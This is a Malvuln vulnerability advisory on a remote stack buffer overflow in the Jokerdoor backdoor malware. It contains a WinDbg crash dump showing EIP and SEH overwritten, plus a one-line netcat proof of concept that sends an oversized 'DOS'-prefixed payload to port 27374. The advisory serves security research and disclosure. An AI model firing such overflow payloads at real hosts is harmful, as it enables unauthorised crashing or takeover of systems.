Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/783a191e7944e1af84ec0fa96d933f30.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Jokerdoor
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 27374. Attackers who can reach an infected system can send a large payload and trigger a classic stack buffer overflow overwriting the ECX, EIP registers and structured exception handler (SEH). When connecting you will get a "connected" server response, then we supply our payload as a parameter prefixed by "DOS".
Family: Jokerdoor
Type: PE32
MD5: 783a191e7944e1af84ec0fa96d933f30
Vuln ID: MVID-2022-0628
Dropped files: ywwqlwntubs.exe (random names)
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 08/03/2022

Memory Dump:
(21f0.2268): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1600 ebp=000a1620 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1600 ebp=000a1620 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for ywwqlwntubs.exe
*** ERROR: Module load completed but symbols could not be loaded for ywwqlwntubs.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
+26
41414141 ??              ???

EXCEPTION_RECORD:  0019ee34 -- (.exr 0x19ee34)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  ywwqlwntubs.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
+26
41414141 ??              ???

FAILED_INSTRUCTION_ADDRESS: 
+26
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019ee84 -- (.cxr 0x19ee84)
eax=00010000 ebx=04223c0c ecx=749feb0d edx=00000000 esi=010b0844 edi=02860d24
eip=41414141 esp=0019f2e4 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
41414141 ??              ???
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 41414141 to 41414141

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_STACKIMMUNE

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_STACKIMMUNE

FRAME_ONE_INVALID: 1

STACK_TEXT:  
00000000 00000000 ywwqlwntubs.exe+0x0


STACK_COMMAND:  .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME:  ywwqlwntubs.exe

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: ywwqlwntubs

IMAGE_NAME:  ywwqlwntubs.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  2a425e19

FAILURE_BUCKET_ID:  STACK_OVERFLOW_STACKIMMUNE_c0000005_ywwqlwntubs.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_ywwqlwntubs.exe

0:000> !exchain
000a1614: ntdll!ExecuteHandler2+44 (77729d70)
....
0019f2e4: 41414141
Invalid exception stack at 41414141


Exploit/PoC:
C:\>python -c "print('DOS'+'A'*804)" | nc64.exe x.x.x.x 27374
connected. 22:22 - August 1, 2022, Monday, ver: Legends 2.1


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